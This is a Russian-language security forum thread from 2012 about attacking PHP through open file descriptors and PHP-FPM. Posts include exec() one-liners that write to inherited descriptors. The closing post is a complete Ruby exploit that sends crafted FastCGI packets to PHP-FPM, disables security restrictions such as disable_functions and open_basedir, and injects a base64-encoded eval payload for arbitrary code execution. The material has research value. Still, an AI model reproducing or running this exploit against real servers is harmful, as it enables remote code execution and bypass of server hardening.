Старый 31.07.2012, 11:33   #11
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

Цитата:
Сообщение от Qwazar Посмотреть сообщение
Интересно, жаль чуток не успел с пхп, надо посмотреть для каких языков актуально.
Тут дело даже не в языках. Увидишь)
__________________
The Sucks Origin Policy
d0znpp вне форума   Ответить с цитированием
Старый 31.07.2012, 11:35   #12
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

Цитата:
Сообщение от nikp Посмотреть сообщение
Обертка php://fd была известна тем, что работала с правами выше, чем файловые функции и другие обертки.
Во всяком случае, спокойно давало записать в php://fd/2 (проверено), хотя error_log и создан с правами рута системы.

Если в данном случае используется не это, то очень хорошо.
Хотел потестить, хоть в первом приближении, но под руками не оказалось нужной конфигурации.
Все равно, надо ставить и разбираться, до ноября далеко, а тему бросать нельзя.
Тут используется именно это. В случае с PHP. Но можно сделать и без fd, покажу в докладе. В реальном кейсе не было примонтировано /proc, хотя версия PHP была какая надо. Пришлось придумывать. Но все получилось по той же логике.

Цитата:
Сообщение от nikp Посмотреть сообщение
Обертка php://fd была известна тем, что работала с правами выше, чем файловые функции и другие обертки.
никаких лишних прав у обертки быть не может. пых под апачем и прав выше чем у него быть не может.
это юникс так работает и есть php://fd или нет - дескрипторы никуда не деваются
__________________
The Sucks Origin Policy

Последний раз редактировалось d0znpp; 03.08.2012 в 12:22..
d0znpp вне форума   Ответить с цитированием
Старый 06.08.2012, 04:14   #13
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

до публикации следующей плюшки осталось 10 дней )
__________________
The Sucks Origin Policy
d0znpp вне форума   Ответить с цитированием
Старый 06.08.2012, 09:09   #14
Qwazar
 
Регистрация: 09.07.2010
Сообщений: 376
Репутация: 154
По умолчанию

int что ли брутишь, при каком нибудь fread?
__________________
Мой блог: http://qwazar.ru/.
Qwazar вне форума   Ответить с цитированием
Старый 06.08.2012, 12:06   #15
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

Цитата:
Сообщение от Qwazar Посмотреть сообщение
int что ли брутишь, при каком нибудь fread?
сейчас вообще ничего не делаю уже.
все исследование готово по этой части, там другие вещи доделываются не про дескрипторы.
брутить ничего не надо - система очень добрая и все показывает сама.
__________________
The Sucks Origin Policy
d0znpp вне форума   Ответить с цитированием
Старый 06.08.2012, 17:02   #16
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

Ну конечно работает, чего бы ему не работать
Чтобы атаковать без обертки просто используй силу системы:
Код:
exec('echo 213 >&14 ');
или другой номер дескриптора

Если дебиан, то внутри exec будет dash, который не умеет писать в дескрипторы, тогда запускаем
Код:
exec('/bin/bash echo 123 >&14');
Совсем не обязательно привязываться к php://fd

fa02f841bc4e6e959b168ad451a386a9
__________________
The Sucks Origin Policy

Последний раз редактировалось d0znpp; 06.08.2012 в 17:19..
d0znpp вне форума   Ответить с цитированием
Старый 06.08.2012, 22:12   #17
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию

Цитата:
Сообщение от d0znpp Посмотреть сообщение
Ну конечно работает, чего бы ему не работать
Чтобы атаковать без обертки просто используй силу системы:
Код:
exec('echo 213 >&14 ');
или другой номер дескриптора
Пробовал это тоже, но эта сила появляется, когда по ls -lia /proc/self/fd/ виден дескриптор мускула,
а у нас только
Код:
total 0
2143997 dr-x------ 2 apache apache  0 Aug  6 20:00 .
2143996 dr-xr-xr-x 7 apache apache  0 Aug  6 20:00 ..
2144002 lrwx------ 1 apache apache 64 Aug  6 20:00 0 -> socket:[2142924]
2144003 lrwx------ 1 apache apache 64 Aug  6 20:00 1 -> socket:[2142924]
2144004 lrwx------ 1 apache apache 64 Aug  6 20:00 2 -> socket:[2142924]
2144005 lr-x------ 1 apache apache 64 Aug  6 20:00 3 -> /proc/874/fd
и конфигурация, когда мускул фиксируется в /proc/self/fd/ мне не попалась.

А на echo 213 >&14
имеем
Код:
Bad file descriptor
====
Если не трудно, проверь, на этой конкретной площадке бага работает?
Не обьясняй, не показывай, просто проверь, что точно работает.
nikp вне форума   Ответить с цитированием
Старый 22.11.2012, 22:52   #18
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

можно спускать, уже опубликовано в докладе
__________________
The Sucks Origin Policy
d0znpp вне форума   Ответить с цитированием
Старый 23.11.2012, 00:42   #19
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

Сюда же, отправка FastCGI пакетов напрямую PHP-FPM, для обходов всего чего только можно
Код:
#!/usr/bin/ruby
# coding: ASCII-8BIT

# Exploit Title: PHP-FPM universal SSRF bypass safe_mode/disabled_functions/open_basedir/etc
# redefine any php.ini values, not specified in php_admin_value
# SSRF - Server Side Request Forgery
# additional info about techinuque: http://www.slideshare.net/d0znpp/ssrf-attacks-and-sockets-smorgasbord-of-vulnerabilities
# Google Dork: not relevant
# Date: 21/11/12
# Exploit Author: @ONsec_lab http://lab.onsec.ru
# Vendor Homepage: php.net fastcgi.com
# Software Link: php-fpm.org
# Version: all
# Tested on: all
# CVE : not a vuln (bug by design)

require 'socket'
require 'base64'


class FCGIRecord

  class BeginRequest < FCGIRecord
    def initialize( id)
      @id = id
      @type = 1
      @data = "\x00\x01\x00\x00\x00\x00\x00\x00"
    end
  end

  class Params < FCGIRecord
    def initialize( id, params = {})
      @id = id
      @type = 4
      @data = ""
      params.each do |k,v|
        @data << [ k.to_s.length, (1<<31) | v.to_s.length ].pack( "CN")
        @data << k.to_s
        @data << v.to_s
      end
    end
  end


  def initialize( id, type)
    @id = id
    @type = type
    @data = ""
  end

  def to_s
    packet = "\x01%c%c%c%c%c%c\x00" % [
      type,
      id / 256, id % 256,
      data.length / 256, data.length % 256,
      data.length % 8
    ]
    packet << data
    packet << "\x00" * (data.length % 8)
  end

  private
  attr_reader :id, :type, :data
end


if ARGV.count < 3 or ARGV.count > 4
  STDERR.write "Usage: #{$0} ( -u /path/to/socket | addr port ) [ /path/to/any/exists/file.php ] 'some php code to execute'\n"
  exit 1
end


script = ARGV.count == 4 ? ARGV[2] : "/usr/share/php/PEAR.php"
command = Base64.encode64(ARGV.last.strip).strip.gsub( '=', '%3d').gsub( '/', '%2f')

packet = ""
packet << FCGIRecord::BeginRequest.new( 1).to_s
packet << FCGIRecord::Params.new( 1, 
                                  "SERVER_NAME" => "localhost",
                                  "REQUEST_METHOD" => "GET",
                                  "SCRIPT_FILENAME" => script,
                                  "PHP_ADMIN_VALUE" => [
                                      "allow_url_fopen=On",
                                      "allow_url_include=On", 
                                      "disable_functions=Off", 
                                      "open_basedir=Off", 
                                      "display_errors=On", 
                                      "safe_mode=Off",
                                      "short_open_tag=On", 
                                      "auto_prepend_file=data:,%3c%3f%20eval%28base64_decode%28%22#{command}%22%29%29%3f%3e"
                                      ].join( "\n")
                                  ).to_s
packet << FCGIRecord::Params.new( 1).to_s
packet << FCGIRecord.new( 1, 5).to_s

#print packet.split('').map{ |c| '\x%02x' % c[0].ord }.join


fcgisock = ARGV[0] == '-u' ? UNIXSocket.new( ARGV[1]) : TCPSocket.new( ARGV[0], ARGV[1])
fcgisock.write( packet)

puts fcgisock.read
__________________
The Sucks Origin Policy
d0znpp вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot